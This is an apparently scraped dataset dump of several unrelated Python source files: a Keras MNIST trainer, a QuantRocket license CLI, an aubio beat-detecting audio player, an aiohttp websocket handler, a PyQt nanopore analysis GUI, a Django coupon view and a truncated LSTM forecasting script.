|\"\"\"\"\"\"\"|_.-._,.---------.,_.-._\n | | | | | | ''-.\n | |_| |_ _| |_..-'\n |_______| '-' `'---------'` '-'\n )\"\"\"\"\"\"\"(\n /_________\\\\\n .-------------.\n /_______________\\\\\n'''\n \n","sub_path":"Auction.py","file_name":"Auction.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"62719342","text":"import tensorflow as tf\nimport tensorflow.keras as keras\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.datasets import mnist\nBATCH_SIZE = 64\nTRAIN_SIZE = 60000\nTRAIN_BATCHES = TRAIN_SIZE / BATCH_SIZE\nEPOCHS = 6\n\nIMAGE_LENGTH = 28\nINPUT_NODE = 784\nHIDDEN_SIZE = 128\nOUTPUT_NODE = 10\nNUM_CHANNELS = 1\nLEARNING_RATE = 0.15\n\n# data, split between train and validate sets\n(x_train, y_train), (x_eval, y_eval) = mnist.load_data(\"mnist\")\nx_train = x_train.reshape(x_train.shape[0], INPUT_NODE)\nx_eval = x_eval.reshape(x_eval.shape[0], INPUT_NODE)\nx_train = x_train.astype(np.float32) / 255 - 0.5\nx_eval = x_eval.astype(np.float32) / 255 - 0.5\n\n\n# convert class vector to binary class matrices (one-hot representation)\ny_train = keras.utils.to_categorical(y_train, OUTPUT_NODE)\ny_eval = keras.utils.to_categorical(y_eval, OUTPUT_NODE)\n\nmodel = Sequential();\ndef init():\n model.add(Dense(\n input_shape=(INPUT_NODE,),\n units=HIDDEN_SIZE,\n activation=\"relu\"\n ))\n model.add(Dense(\n units=HIDDEN_SIZE,\n activation=\"relu\"\n ))\n model.add(Dense(\n units=OUTPUT_NODE,\n activation=\"softmax\"\n ))\n model.compile(\n loss=keras.losses.categorical_crossentropy,\n optimizer=\"sgd\",\n metrics=[\"accuracy\"]\n )\n\ndef train():\n model.fit(\n x_train, \n y_train,\n batch_size=BATCH_SIZE,\n epochs=EPOCHS,\n verbose=2,\n validation_data=(x_eval, y_eval)\n )\n\nif __name__ == \"__main__\":\n print(\"start training...\")\n init()\n train()\n model.save('my_model.h5')\n","sub_path":"training/mnist-lenet5-tf/mnist-model-tf.keras.py","file_name":"mnist-model-tf.keras.py","file_ext":"py","file_size_in_byte":1621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"533663361","text":"# Copyright 2017-2023 QuantRocket - All Rights Reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom quantrocket._cli.utils.parse import HelpFormatter\n\ndef add_subparser(subparsers):\n _parser = subparsers.add_parser(\"license\", description=\"QuantRocket license service CLI\", help=\"Query license details\")\n _subparsers = _parser.add_subparsers(title=\"subcommands\", dest=\"subcommand\")\n _subparsers.required = True\n\n examples = \"\"\"\nReturn the current license profile.\n\nNotes\n-----\nUsage Guide:\n\n* License Key: https://qrok.it/dl/qr/license\n\nExamples\n--------\n\nView the current license profile:\n\n.. code-block:: bash\n\n quantrocket license get\n \"\"\"\n parser = _subparsers.add_parser(\n \"get\",\n help=\"return the current license profile\",\n epilog=examples,\n formatter_class=HelpFormatter)\n parser.add_argument(\n \"--force-refresh\",\n action=\"store_true\",\n help=\"refresh the license profile before returning it (default is to \"\n \"return the cached profile, which is refreshed every few minutes)\")\n parser.set_defaults(func=\"quantrocket.license._cli_get_license_profile\")\n\n examples = \"\"\"\nSet QuantRocket license key.\n\nNotes\n-----\nUsage Guide:\n\n* License Key: https://qrok.it/dl/qr/license\n\nExamples\n--------\n\n.. code-block:: bash\n\n quantrocket license set XXXXXXXXXX\n \"\"\"\n parser = _subparsers.add_parser(\n \"set\",\n help=\"set QuantRocket license key\",\n epilog=examples,\n formatter_class=HelpFormatter)\n parser.add_argument(\n \"key\",\n metavar=\"LICENSEKEY\",\n help=\"the license key for your account\")\n parser.set_defaults(func=\"quantrocket.license._cli_set_license\")\n\n examples = \"\"\"\nSet Alpaca API key, or view the current API key.\n\nYour credentials are encrypted at rest and never leave\nyour deployment.\n\nNotes\n-----\nUsage Guide:\n\n* Broker and Data Connections: https://qrok.it/dl/qr/connect\n\nExamples\n--------\n\nView current live and paper API keys:\n\n.. code-block:: bash\n\n quantrocket license alpaca-key\n\nSet Alpaca live API key (will prompt for secret key) and specify SIP as the\nreal-time data permission for this account:\n\n.. code-block:: bash\n\n quantrocket license alpaca-key --api-key AK123 --live --realtime-data sip\n\nSet Alpaca paper API key (will prompt for secret key):\n\n.. code-block:: bash\n\n quantrocket license alpaca-key --api-key PK123 --paper\n \"\"\"\n parser = _subparsers.add_parser(\n \"alpaca-key\",\n help=\"set Alpaca API key, or view the current API key\",\n epilog=examples,\n formatter_class=HelpFormatter)\n parser.add_argument(\n \"-a\", \"--api-key\",\n metavar=\"API_KEY\",\n help=\"Alpaca API key ID\")\n parser.add_argument(\n \"-s\", \"--secret-key\",\n metavar=\"SECRET_KEY\",\n help=\"Alpaca secret key (if omitted, will be prompted for secret key)\")\n group = parser.add_mutually_exclusive_group()\n group.add_argument(\n \"--paper\",\n action=\"store_const\",\n dest=\"trading_mode\",\n const=\"paper\",\n help=\"set trading mode to paper trading\")\n group.add_argument(\n \"--live\",\n action=\"store_const\",\n dest=\"trading_mode\",\n const=\"live\",\n help=\"set trading mode to live trading\")\n parser.add_argument(\n \"-r\", \"--realtime-data\",\n choices=[\"iex\", \"sip\"],\n metavar=\"DATA_FEED\",\n help=\"the real-time data feed to which this API key is subscribed. Possible \"\n \"choices: %(choices)s. Default is 'iex'.\")\n parser.set_defaults(func=\"quantrocket.license._cli_get_or_set_alpaca_key\")\n\n examples = \"\"\"\nSet Polygon API key, or view the current API key.\n\nYour credentials are encrypted at rest and never leave\nyour deployment.\n\nNotes\n-----\nUsage Guide:\n\n* Broker and Data Connections: https://qrok.it/dl/qr/connect\n\nExamples\n--------\n\nView current API key:\n\n.. code-block:: bash\n\n quantrocket license polygon-key\n\nSet Polygon API key:\n\n.. code-block:: bash\n\n quantrocket license polygon-key K123\n \"\"\"\n parser = _subparsers.add_parser(\n \"polygon-key\",\n help=\"set Polygon API key, or view the current API key\",\n epilog=examples,\n formatter_class=HelpFormatter)\n parser.add_argument(\n \"api_key\",\n nargs=\"?\",\n metavar=\"API_KEY\",\n help=\"Polygon API key\")\n parser.set_defaults(func=\"quantrocket.license._cli_get_or_set_polygon_key\")\n\n examples = \"\"\"\nSet Quandl API key, or view the current API key.\n\nYour credentials are encrypted at rest and never leave\nyour deployment.\n\nNotes\n-----\nUsage Guide:\n\n* Broker and Data Connections: https://qrok.it/dl/qr/connect\n\nExamples\n--------\n\nView current API key:\n\n.. code-block:: bash\n\n quantrocket license quandl-key\n\nSet Polygon API key:\n\n.. code-block:: bash\n\n quantrocket license quandl-key K123\n \"\"\"\n parser = _subparsers.add_parser(\n \"quandl-key\",\n help=\"set Quandl API key, or view the current API key\",\n epilog=examples,\n formatter_class=HelpFormatter)\n parser.add_argument(\n \"api_key\",\n nargs=\"?\",\n metavar=\"API_KEY\",\n help=\"Quandl API key\")\n parser.set_defaults(func=\"quantrocket.license._cli_get_or_set_quandl_key\")\n","sub_path":"quantrocket/_cli/subcommands/license.py","file_name":"license.py","file_ext":"py","file_size_in_byte":5744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"475558503","text":"import pyaudio\nimport wave\nimport threading\nimport aubio\nimport numpy\nfrom cluster import cluster\nimport scipy.io.wavfile as wavfile\n\n# todo if bpm not confident use onset\n\nclass play_song:\n __current_time = 0.0 # stores current time in seconds\n __chunk_size = 1024 # chunk size todo can't change this cos of chunk chorus\n __chunk_number = 0 # the current chunk we're playing\n __playing = False # whether we're playing\n __current_bpm = 0.0 # stores the current bpm\n __beat_times = []\n __beat_event = None\n __onset_event = None\n __chunk_is_beat = None\n __chunk_is_onset = None\n __chunk_bpm = None\n __chunk_bpm_confidence = None\n __current_confidence = 0 # aubio's confidence of the current bpm\n __chunk_chorus = None\n __bpm_confidence_threshold = 0.1 # required aubio bpm confidence to use beat function rather than onset function\n __force_beat_event = False # when true forces the beat event\n\n # TODO ONSET threshold\n\n onsets = []\n\n def __init__(self, filename, skip_bpm_detection_time=0.0):\n\n # cluster analysis\n rate, raw_data = wavfile.read(filename)\n data = (raw_data[:, 0] / 2.0 + raw_data[:, 1] / 2.0)\n\n # get mfcc\n time_song, labels, class_labels = cluster(data, samplerate=44100)\n\n\n self.__chunk_chorus = numpy.zeros(len(raw_data)/self.__chunk_size)\n\n previous_chunk_number = 0\n for i in range(0, 10*len(class_labels), 10):\n self.__chunk_chorus[previous_chunk_number: i] = class_labels[i/10]\n previous_chunk_number = i\n\n # aubio stuff\n self.__file = wave.open(filename, \"rb\")\n\n win_s = 512 # fft size\n hop_s = win_s // 2 # hop size\n delay = 4. * hop_s\n\n s = aubio.source(filename, self.__file.getframerate(), hop_s)\n samplerate = s.samplerate\n o = aubio.tempo(\"default\", win_s, hop_s, samplerate)\n\n onset = aubio.onset(\"default\", win_s, hop_s, samplerate)\n\n num_chunks = s.duration / self.__chunk_size\n self.__chunk_is_beat = numpy.zeros(num_chunks)\n self.__chunk_is_onset = numpy.zeros(num_chunks)\n self.__chunk_bpm = numpy.zeros(num_chunks, dtype=float)\n self.__chunk_bpm_confidence = numpy.zeros(num_chunks, dtype=float)\n\n o.set_delay(400) # approx 150bpm default\n total_frames = 0\n\n while True:\n samples, read = s()\n\n # onset detection\n last_beat_chunk_number = 0\n beat_number = 0\n\n os = onset(samples)\n if os:\n this_beat = int(total_frames - delay + os[0] * hop_s)\n self.onsets.append(onset.get_last() / float(samplerate))\n current_beat_time_s = this_beat / float(samplerate)\n current_chunk_number = int((current_beat_time_s * samplerate)/self.__chunk_size)\n self.__chunk_is_onset[current_chunk_number] = 1\n\n\n if skip_bpm_detection_time < (total_frames / s.samplerate): # todo current time\n is_beat = o(samples)\n if is_beat:\n this_beat = int(total_frames - delay + is_beat[0] * hop_s)\n # print(\"%f\" % (this_beat / float(samplerate)))\n # beats.append(this_beat)\n current_beat_time_s = this_beat / float(samplerate)\n self.__beat_times.append(current_beat_time_s)\n\n current_chunk_number = int((current_beat_time_s * samplerate)/self.__chunk_size)\n self.__chunk_is_beat[current_chunk_number] = 1\n\n # if beat_number == 0:\n # last_beat_chunk_number = current_chunk_number\n\n self.__chunk_bpm[last_beat_chunk_number:current_chunk_number] = o.get_bpm()\n\n self.__chunk_bpm_confidence[last_beat_chunk_number:current_chunk_number] = o.get_confidence()\n\n last_beat_chunk_number = current_chunk_number\n\n beat_number = beat_number + 1\n\n total_frames += read\n if read < hop_s: break\n\n\n # returns the current time in seconds as a float\n def current_time(self):\n return self.__current_time\n\n def current_chunk(self):\n return self.__chunk_number\n\n def current_bpm(self):\n # return self.__current_bpm\n return self.__chunk_bpm[self.__chunk_number]\n\n def current_bpm_confidence(self):\n return self.__chunk_bpm_confidence[self.__chunk_number]\n\n def set_force_beat_event(self, force_beat = True):\n self.__force_beat_event = force_beat\n\n # returns a true or false value indicating whether it's a chorus\n def is_chorus(self):\n return self.__chunk_chorus[self.__chunk_number]\n\n def current_beat_s(self):\n if self.__current_bpm:\n return 60.0/self.__current_bpm\n else:\n return 0.3\n\n # begins playing audio asynchronously\n def start(self):\n self.__audio_thread = threading.Thread(target=self.__audio_worker)\n self.__playing = True\n self.__audio_thread.start()\n\n # stops playing audio\n def stop(self):\n self.__playing = False\n self.__audio_thread.join()\n print('Stopped playing audio')\n\n def set_beat_event(self, beat_event_function):\n self.__beat_event = beat_event_function\n\n def set_onset_event(self, onset_event_function):\n self.__onset_event = onset_event_function\n\n # worker for playing audio in a thread\n def __audio_worker(self):\n pyaudio_instance = pyaudio.PyAudio()\n stream = pyaudio_instance.open(format=pyaudio_instance.get_format_from_width(self.__file.getsampwidth()),\n channels=self.__file.getnchannels(),\n rate=self.__file.getframerate(),\n output=True)\n\n\n chunks = self.__file.readframes(self.__chunk_size)\n\n beat_time_threshold = 0.05\n beat_delay_threshold = 0.1\n beat_time_iterator = 0\n last_beat_time = 0\n\n beat_number = 0\n onset_number = 0\n\n\n win_s = 512 # fft size\n hop_s = win_s // 2 # hop size\n samplerate = self.__file.getframerate()\n\n o = aubio.tempo(\"default\", win_s, hop_s, samplerate)\n\n\n\n while chunks and self.__playing:\n stream.write(chunks)\n\n self.__current_time = (self.__chunk_size * (self.__chunk_number) + 0.0) / self.__file.getframerate()\n\n if self.__chunk_is_beat[self.__chunk_number] and self.__force_beat_event:\n # self.__chunk_bpm_confidence[self.__chunk_number] >= self.__bpm_confidence_threshold):\n # print('beat! %d' % beat_number)\n beat_number = beat_number + 1\n if self.__beat_event:\n self.__beat_event()\n\n if self.__chunk_is_onset[self.__chunk_number] and not self.__force_beat_event: #and \\\n # self.__chunk_bpm_confidence[self.__chunk_number] < self.__bpm_confidence_threshold:\n # print('onset! %d' % onset_number)\n if self.__onset_event:\n self.__onset_event()\n\n\n\n #\n # if self.__beat_times[beat_time_iterator] < self.__current_time - beat_time_threshold:\n # beat_time_iterator = beat_time_iterator + 1\n #\n # if abs(self.__current_time - self.__beat_times[beat_time_iterator]) < beat_time_threshold:\n # # print('beat')\n # if self.__beat_event and self.__current_time - last_beat_time > beat_delay_threshold:\n # print('calling beat event %d' % beat_number)\n # beat_number = beat_number + 1\n # self.__current_bpm = 60.0/(self.__current_time - last_beat_time)\n # last_beat_time = self.__current_time\n # self.__beat_event()\n\n\n\n self.__chunk_number = self.__chunk_number + 1\n chunks = self.__file.readframes(self.__chunk_size)\n\n\n\n stream.stop_stream()\n stream.close()\n pyaudio_instance.terminate()","sub_path":"code/play_song.py","file_name":"play_song.py","file_ext":"py","file_size_in_byte":8183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"365034691","text":"from base import BaseTest\n\nclass Horizons(BaseTest):\n\t\n\tdef test_post(self):\t\t\n\t\t\n\t\tdataset = [\t\t\t\n\t\t\t{\"path\": \"horizon_chart_query_1.php\",\n\t\t\t \"payload\": {\n\t\t\t\t\t\"code_wyt\": \"aapl\",\n\t\t\t\t\t\"start_date\": \"2006-12-01\"\n\t\t\t\t}\n\t\t\t}\n\t\t]\n\t\t\n\t\tfor data in dataset:\t\t\t\t\t\n\t\t\tself.post_test(self.__class__.__name__, data['path'], data['payload'])\n","sub_path":"tabs/horizons_test.py","file_name":"horizons_test.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"556723586","text":"import json\nimport itertools\nfrom collections import namedtuple, defaultdict\nimport logging\n\nimport asyncio\nfrom aiohttp import web, WSMsgType, WSCloseCode\nfrom structlog import get_logger\n\nfrom alignment.redis import REDIS_POOL_KEY\n\nlog = get_logger()\n\nWebsocketHandle = namedtuple('WebsocketHandle', ['ws', 'sid'])\n\n\nclass WebsocketHandler:\n WEBSOCKET_KEY = 'websockets'\n LISTENER_KEY = 'redis-listener'\n\n def __init__(self, pubsub_key='alignment_rooms'):\n self.pubsub_key = pubsub_key\n\n def setup(self, app):\n app[self.WEBSOCKET_KEY] = defaultdict(list)\n app.router.add_get('/ws', self.handle_ws, name='ws')\n\n app.on_startup.append(self.start_send_messages)\n app.on_shutdown.append(self.close_open_websockets)\n app.on_shutdown.append(self.shutdown_send_messages)\n\n\n async def start_send_messages(self, app):\n app[self.LISTENER_KEY] = app.loop.create_task(self.send_messages(app))\n\n async def shutdown_send_messages(self, app):\n app[self.LISTENER_KEY].cancel()\n await app[self.LISTENER_KEY]\n\n async def send_messages(self, app):\n \"\"\"\n Listen on the Redis channel specified in :pubsub_key: for messages.\n When they're received, fan them out to all websockets in that room except the websocket that\n the message originated from (identified by SID)\n \"\"\"\n redis = await app[REDIS_POOL_KEY]\n try:\n channel, *_ = await redis.subscribe(self.pubsub_key)\n async for msg in channel.iter(\n encoding='utf-8', decoder=json.loads):\n sid = msg.pop('sid', None)\n room = msg.pop('room', None)\n if sid is None or room is None:\n log.error(\n \"message missing sid or room\", sid=sid, room=room)\n continue\n for ws in app[self.WEBSOCKET_KEY][room]:\n if ws.ws.closed or ws.sid == sid:\n continue\n await ws.ws.send_json(msg)\n except asyncio.CancelledError:\n pass\n finally:\n await redis.unsubscribe(self.pubsub_key)\n\n async def close_open_websockets(self, app):\n \"\"\"\n Iterate over all registered websockts and close them all.\n \"\"\"\n for ws in itertools.chain(*app[self.WEBSOCKET_KEY].values()):\n await ws.ws.close(\n code=WSCloseCode.GOING_AWAY, message=\"server-shutdown\")\n\n async def handle_ws(self, request):\n \"\"\"\n Listen for room activity on a websocket. Every message that is\n recieved is annotated with the sid and the room then put onto the redis\n pubsub channel.\n \"\"\"\n sid = request.query.get('sid')\n if sid is None:\n raise web.HTTPBadRequest(text='missing sid parameter')\n\n room = request.query.get('room', 'default')\n\n ws = web.WebSocketResponse()\n await ws.prepare(request)\n\n handle = WebsocketHandle(ws, sid)\n\n request.app[self.WEBSOCKET_KEY][room].append(handle)\n try:\n async for msg in ws:\n if msg.type == WSMsgType.TEXT:\n decoded = json.loads(msg.data)\n decoded.update(sid=sid, room=room)\n await request.app[REDIS_POOL_KEY].publish_json(\n self.pubsub_key, decoded)\n elif msg.type == WSMsgType.ERROR:\n log.error(\"websocket error\", error=msg.exception())\n finally:\n request.app[self.WEBSOCKET_KEY][room].remove(handle)\n\n return ws\n","sub_path":"alignment/websocket.py","file_name":"websocket.py","file_ext":"py","file_size_in_byte":3634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"149604977","text":"# from PythIon.PoreSizer import *\nimport sys\n\nfrom PythIon.SetupUtilities import *\n# from PythIon.Utility import *\nfrom PythIon.Widgets.PlotGUI import *\nfrom PythIon.Model import *\n# plotguiuniversal works well for mac and laptops,\n# for larger screens try PlotGUI\n# from PythIon.plotguiuniversal import *\n\n\nclass GUIForm(QtWidgets.QMainWindow):\n dataset: CurrentData\n events: List[Event]\n ui: Ui_PythIon\n\n # Setup GUI and draw elements from UI file\n def __init__(self, master=None):\n super().__init__(master)\n pg.setConfigOptions(antialias=True)\n\n self.ui = Ui_PythIon()\n self.ui.setupUi(self)\n self.cb = setup_cb(self.ui)\n self.plot_group = PlotGroup(self.ui)\n self.signal_plot = self.plot_group.plots['signal_plot']\n self.plot_group.plots['current_hist'].logo_mode()\n self.event_num_entry = NumberEntry(self.ui.event_number_entry, 1, 1, int)\n self.event_selector = EventSelectWidget(self.ui, self.event_num_entry)\n\n # Initializing various variables used for analysis\n self.dataset = None\n self.data_file_name = None\n self.sdf = pd.DataFrame(columns=['fn', 'color', 'deli', 'frac', 'dwell', 'dt', 'startpoints', 'endpoints'])\n\n self.highlighted_event = None\n self.batch_info = pd.DataFrame(columns=list(['cutstart', 'cutend']))\n setup_connections(self.ui, self)\n\n def get_file(self):\n wd = os.getcwd()\n suffix_filter = \"*.log;*.opt;*.npy;*.abf\"\n # Attempt to open dialog from most recent directory\n data_file_name, _ = QtWidgets.QFileDialog.getOpenFileName(self, 'Open file', wd, suffix_filter)\n if data_file_name == ('', ''): # Interaction canceled\n return\n\n self.data_file_name = data_file_name\n self.load()\n\n def load(self):\n data_file_name = self.data_file_name\n if not data_file_name:\n return\n sdf = self.sdf\n ui = self.ui\n\n colors = np.array(sdf.color)\n for i in range(len(colors)):\n colors[i] = pg.Color(colors[i])\n # self.scatter_plot.items[0].setBrush(colors, mask=None)\n\n ui.event_number_entry.setText(str(1))\n ui.status_bar.showMessage('Data file ' + data_file_name + ' loaded.')\n ui.file_label.setText(data_file_name)\n\n low_pass_cutoff = float(ui.low_pass_entry.text())\n self.dataset = CurrentData(self.event_num_entry, data_file_name, self.signal_plot)\n self.event_selector.register_dataset(self.dataset)\n self.ui.invert_button.clicked.connect(self.dataset.invert)\n if self.dataset.file_type in ('.log', '.abf', '.opt'):\n self.dataset.process_data(low_pass_cutoff)\n self.plot_group.update(self.dataset)\n\n def analyze(self):\n dataset = self.dataset\n if dataset is None:\n return\n threshold = np.float64(self.ui.threshold_entry.text()) * 1e-9 # Now in number of standard deviations\n dataset.detect_events(threshold)\n self.event_num_entry.max = len(dataset.events)\n self.plot_group.plots['blockage_plot'].create_points(dataset)\n self.plot_group.update(dataset)\n\n def replot(self):\n if not self.dataset:\n return\n low_pass_cutoff = int(self.ui.low_pass_entry.text())\n if low_pass_cutoff == self.dataset.data_params.get('low_pass_cutoff'):\n return\n self.dataset.process_data(low_pass_cutoff)\n self.plot_group.update(self.dataset)\n\n def next_event(self):\n # Ignore command if there are no events\n if not self.dataset.events:\n return\n element = self.ui.event_number_entry\n num_events = len(self.dataset.events)\n input_num = num_from_text_element(element, 1, num_events, default=1)\n element.setText(str(min(input_num + 1, num_events)))\n self.inspect_event()\n\n def previous_event(self):\n # Ignore command if there are no events\n if not self.dataset.events:\n return\n element = self.ui.event_number_entry\n num_events = len(self.dataset.events)\n input_num = num_from_text_element(element, 1, num_events, default=1)\n element.setText(str(max(input_num - 1, 1)))\n self.inspect_event()\n\n def clear_scatter(self):\n scatter = self.plot_group.plots['scatter_plot']\n ui = self.ui\n scatter.setData(x=[], y=[])\n # last_event = []\n ui.scatter_plot.update()\n self.clear_stat_plots()\n self.sdf = pd.DataFrame(columns=['fn', 'color', 'deli', 'frac',\n 'dwell', 'dt', 'startpoints', 'endpoints'])\n\n def inspect_event(self):\n pass\n\n def delete_event(self):\n event_idx = int(self.ui.event_number_entry.value()) - 1\n self.dataset.delete_event(event_idx)\n self.plot_group.update(self.dataset)\n\n def invert_data(self):\n if self.dataset:\n self.dataset.invert()\n # self.dataset.data_params['inverted'] = not self.dataset.data_params.get('inverted')\n # self.dataset.processed_data = -self.dataset.processed_data\n # # self.dataset.data_params['baseline'] = not self.dataset.data_params.get('baseline')\n\n def clicked(self, plot, points):\n if not points:\n return\n selected_event = points[0].data().parent\n if isinstance(self.highlighted_event, Event):\n for interval in self.highlighted_event.intervals:\n interval.reset_style('scatter')\n # Highlight all points on the graph in the same event\n for interval in selected_event.intervals:\n interval.highlight('scatter')\n self.scatter_plot.clear()\n points = [interval.data_points['scatter'] for interval in self.dataset.get_intervals()]\n scatter_data = pg.ScatterPlotItem(points)\n scatter_data.sigClicked.connect(self.clicked)\n self.scatter_plot.addItem(scatter_data)\n # idx = [idx for idx, pt in enumerate(plot.points()) if pt.pos() == points[0].pos()]\n # if idx is None:\n # return\n # if sdf.fn[clicked_index] != mat_file_name:\n # print('Event is from an earlier file, not clickable')\n self.highlighted_event = selected_event\n self.inspect_event(selected_event)\n\n def next_file(self):\n file_type = self.file_type\n if file_type == '.log':\n log_offset = 6\n next_file_name = get_file(file_type, log_offset, \"next\", self.data_file_name)\n elif file_type == '.abf':\n abf_offset = 4\n next_file_name = get_file(file_type, abf_offset, \"next\", self.data_file_name)\n else:\n return\n self.data_file_name = next_file_name\n self.load()\n\n def previous_file(self):\n file_type = self.file_type\n if file_type == '.log':\n log_offset = 6\n next_file_name = get_file(file_type, log_offset, \"prev\", self.data_file_name)\n elif file_type == '.abf':\n abf_offset = 4\n next_file_name = get_file(file_type, abf_offset, \"prev\", self.data_file_name)\n else:\n return\n self.data_file_name = next_file_name\n self.load()\n\n def keyPressEvent(self, event):\n # TODO: convert to dict\n key = event.key()\n qt = QtCore.Qt\n if key == qt.Key_Up:\n self.next_file()\n elif key == qt.Key_Down:\n self.previous_file()\n elif key == qt.Key_Right:\n self.next_event()\n elif key == qt.Key_Left:\n self.previous_event()\n elif key == qt.Key_Return:\n self.load()\n elif key == qt.Key_Space:\n self.analyze()\n elif key == qt.Key_Delete:\n self.delete_event()\n elif key == qt.Key_Escape:\n base_region = self.signal_plot.base_region\n cut_region = self.signal_plot.cut_region\n if base_region.isVisible():\n base_region.toggle_region()\n if cut_region.isVisible():\n cut_region.toggle_region()\n\n def save_event_fits(self):\n if self.dataset is None:\n return\n default_file_name = os.path.join(os.getcwd(), 'event_data.csv')\n file_name, _ = QtWidgets.QFileDialog.getSaveFileName(self, 'Save Event Data', default_file_name, '*.csv')\n if file_name == '':\n return\n event_data = self.dataset.generate_event_table()\n column_order = ('event_number', 'start', 'end', 'duration', 'frac', 'voltage_change')\n event_data.loc[:, column_order].to_csv(file_name, index=False)\n\n def save_trace(self):\n pass\n\n def save_target(self):\n self.batch_info = save_batch_info(self.events, self.batch_info, self.mat_file_name)\n\n @staticmethod\n def size_pore():\n pass\n # pore_size = PoreSizer()\n # pore_size.show()\n\n\ndef start():\n # global my_app\n app = QtWidgets.QApplication(sys.argv)\n # resolution = app.desktop().screenGeometry()\n # width, height = resolution.width(), resolution.height()\n my_app = GUIForm()\n my_app.show()\n sys.exit(app.exec_())\n\n\nif __name__ == \"__main__\":\n start()\n","sub_path":"PythIon/Pythion.py","file_name":"Pythion.py","file_ext":"py","file_size_in_byte":9237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"286259051","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom django.shortcuts import render, HttpResponse, HttpResponseRedirect\nfrom .models import coupon\nfrom wx.models import user\nfrom random import Random\nimport time\nfrom .models import coupon\nfrom datetime import datetime\n\n#自定义登录装饰器\ndef my_login_required(func):\n def wrapper(request, *args, **kw):\n if 'openid' in request.session:\n return func(request, *args, **kw)\n else:\n return HttpResponseRedirect('/wx/index')\n return wrapper\n\ndef register_coupon(userid):\n random = Random()\n couponid = 'c'+str(''.join(list(map(str, [random.randint(0,9) for _ in range(12)]))))\n name = 'cip快捷通道优惠券'\n starttime = int(time.time())\n endtime = starttime + (60*60*24)*30\n desc = 'cip快捷通道优惠券'\n value = 70\n if coupon.new(couponid=couponid, name=name, userid=userid, starttime=starttime, endtime=endtime, desc=desc, value=value):\n return True\n\n@my_login_required\ndef index(request):\n userid = user.objects.get(wx_openid=request.session['openid']).userid\n res = coupon.objects.all().filter(userid__exact=userid)\n for i in res:\n i.starttime = time.strftime('%Y.%m.%d', time.localtime(int(i.starttime)))\n i.endtime = time.strftime('%Y.%m.%d', time.localtime(int(i.endtime)))\n context = {'data':res}\n return render(request, 'coupon/coupon.html', context)\n # res = coupon.objects.filter(user)\n # context = {'data':}\n # return render(request, 'coupon/coupon.html')\n\nif __name__ == '__main__':\n register_coupon()","sub_path":"coupon/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"24412343","text":"import numpy\r\nimport matplotlib.pyplot as plt\r\nfrom pandas import read_csv\r\nimport math\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense\r\nfrom keras.layers import LSTM\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nfrom sklearn.metrics import mean_squared_error\r\n\r\n\r\n# load the dataset\r\ndataframe = read_csv('bias.csv', usecols=[1], engine='python', skipfooter=0)\r\ndataset = dataframe.values\r\n# 将整型变为float\r\n#dataset = dataset.astype('float32')\r\n#print(dataset)\r\nplt.plot(dataset)\r\nplt.show()\r\n\r\n# X is the number of passengers at a given time (t) and Y is the number of passengers at the next time (t + 1).\r\n\r\n# convert an array of values into a dataset matrix\r\ndef create_dataset0(dataset, look_back=1):\r\n dataX, dataY = [], []\r\n for i in range(len(dataset)-look_back-1):\r\n a = dataset[i:(i+look_back), 0]\r\n dataX.append(a)\r\n dataY.append(dataset[i + look_back, 0])\r\n return numpy.array(dataX), numpy.array(dataY)\r\n\r\ndef create_dataset(dataset, look_back=1, dim_y=1):\r\n dataX, dataY = [], []\r\n for i in range(len(dataset)-look_back-dim_y-1):\r\n a = dataset[i:(i+look_back), 0]\r\n dataX.append(a)\r\n for i in range(len(dataset)-look_back-dim_y-1):\r\n b = dataset[(i + look_back):(i + look_back + dim_y), 0]\r\n dataY.append(b)\r\n return numpy.array(dataX), numpy.array(dataY)\r\n\r\n# fix random seed for reproducibility\r\nnumpy.random.seed(7)\r\n\r\n\r\n# normalize the dataset\r\n#scaler = MinMaxScaler(feature_range=(0, 1))\r\n#dataset = scaler.fit_transform(dataset)\r\n\r\n\r\n# split into train and test sets\r\ntrain_size = int(len(dataset) * 0.8)\r\ntest_size = len(dataset) - train_size\r\n#print(len(dataset))\r\ntrain, test = dataset[0:train_size,:], dataset[train_size:len(dataset),:]\r\n# use this function to prepare the train and test datasets for modeling\r\nlook_back = 5\r\n#print(train)\r\ntrainX, trainY = create_dataset(train, look_back,5)\r\n\r\ntestX, testY = create_dataset(test, look_back,5)\r\nprint(trainX.shape)\r\n# print(trainY)\r\n\r\n# reshape input to be [samples, time steps, features]\r\ntrainX = numpy.reshape(trainX, (trainX.shape[0], 1, trainX.shape[1]))\r\nprint(trainX.shape)\r\n\r\ntestX = numpy.reshape(testX, (testX.shape[0], 1, testX.shape[1]))\r\n# create and fit the LSTM network\r\n#print(trainX.shape)\r\n#print(trainX)\r\n#print(trainY)\r\nmodel = Sequential()\r\nmodel.add(LSTM(4, input_shape=(1, look_back)))\r\nmodel.add(Dense(5))\r\nmodel.compile(loss='mean_squared_error', optimizer='adam')\r\nmodel.fit(trainX, trainY, epochs=100, batch_size=1, verbose=2)\r\n\r\n# make predictions\r\ntrainPredict = model.predict(trainX)\r\n#print(trainPredict)\r\ntestPredict 